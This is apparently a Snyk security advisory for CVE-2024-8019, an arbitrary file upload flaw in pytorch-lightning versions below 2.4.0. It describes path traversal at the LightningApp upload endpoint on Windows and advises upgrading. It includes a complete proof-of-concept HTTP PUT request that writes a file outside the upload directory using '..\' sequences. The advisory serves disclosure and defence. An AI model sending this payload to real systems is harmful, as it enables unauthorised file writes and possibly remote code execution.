Arbitrary File Upload Affecting pytorch-lightning package, versions [,2.4.0)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk IDSNYK-PYTHON-PYTORCHLIGHTNING-9510928
- published23 Mar 2025
- disclosed20 Mar 2025
- creditnduy2110
Introduced: 20 Mar 2025
CVE-2024-8019 (opens in a new tab)How to fix?
Upgrade pytorch-lightning to version 2.4.0 or higher.
Overview
pytorch-lightning is a lightweight PyTorch wrapper for ML researchers. Scale your models. Write less boilerplate.
Affected versions of this package are vulnerable to Arbitrary File Upload via the LightningApp when running on a Windows host at the /api/v1/upload_file/ endpoint. An attacker can write or overwrite arbitrary files by providing a crafted filename, potentially leading to remote code execution by overwriting critical files or placing malicious files in sensitive locations.
PoC
PUT /api/v1/upload_file/..\..\..\..\Desktop\hacked.txt HTTP/1.1
Host: localhost:7501
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------23233018371240449754774180329
Content-Length: 256
Origin: http://127.0.0.1:5500
Connection: close
Referer: http://127.0.0.1:5500/
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Sec-Fetch-User: ?1
Priority: u=1
-----------------------------23233018371240449754774180329
Content-Disposition: form-data; name="uploaded_file"; filename="123.txt"
Content-Type: text/plain
hackeddddddddddddddd
-----------------------------23233018371240449754774180329--